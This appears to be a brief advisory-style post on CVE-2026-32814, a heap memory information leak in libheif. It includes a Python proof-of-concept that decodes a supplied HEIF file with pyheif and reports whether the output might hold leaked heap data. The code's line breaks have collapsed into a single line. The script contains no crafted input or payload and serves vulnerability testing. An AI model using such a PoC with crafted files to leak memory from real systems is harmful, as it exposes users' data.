CVE-2026-32814 libheif堆内存信息泄露漏洞

import pyheif import sys # PoC for CVE-2026-32814 # This script attempts to decode a crafted HEIF file to trigger the uninitialized memory read. # It requires a vulnerable version of libheif (< 1.22.0). def check_memory_leak(filepath): try: # Read the HEIF file using the vulnerable library heif_file = pyheif.read(filepath) # In a vulnerable environment, the pixel data may contain uninitialized heap memory # instead of just black or error indicators. print(f"[+] Image decoded successfully: {heif_file.mode} {heif_file.size}") # Check if pixel data looks suspicious (e.g., high entropy indicating random heap data) # This is a simplified check; real analysis involves inspecting the raw bytes. data = heif_file.data print(f"[+] Data length: {len(data)} bytes") print("[!] If running on libheif < 1.22.0, this data might contain heap memory leaks.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <crafted_file.heic>") else: check_memory_leak(sys.argv[1])